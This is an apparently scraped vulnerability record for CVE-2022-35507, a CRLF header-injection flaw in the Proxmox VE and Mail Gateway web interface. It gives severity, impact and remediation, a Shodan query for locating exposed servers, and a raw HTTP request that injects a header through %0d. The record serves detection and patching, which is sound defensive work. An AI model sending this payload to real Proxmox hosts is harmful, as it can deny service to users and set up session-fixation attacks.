| Title | Proxmox - CRLF Injection |
|---|---|
| Author | DhiyaneshDk |
| Severity | High |
| Impact | Attackers can inject response headers with CRLF characters to set malicious cookies in victims' Chromium-based browsers, causing client-side denial of service and potentially facilitating session fixation attacks on Proxmox users. |
| Remediation | Update pve-http-server to version 4.1-3 or later that properly validates and strips CRLF characters from response headers. |
| CVSS Score | 7.1 |
| EPSS Score | 0.14332 |
| CVE ID | CVE-2022-35507 |
| CWE ID | CWE-74 |
| Shodan Query | html:"Proxmox = {" |
| Tags | cve cve2022 proxmox crlf vuln |
A response-header CRLF injection vulnerability in the Proxmox Virtual Environment (PVE) and Proxmox Mail Gateway (PMG) web interface allows a remote attacker to set cookies for a victim’s browser that are longer than the server expects, causing a client-side DoS. This affects Chromium-based browsers because they allow injection of response headers with %0d. This is fixed in pve-http-server 4.1-3.
GET /404%0dnew-header:value%0da: HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-35507.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-35507.pcap
N/AN/A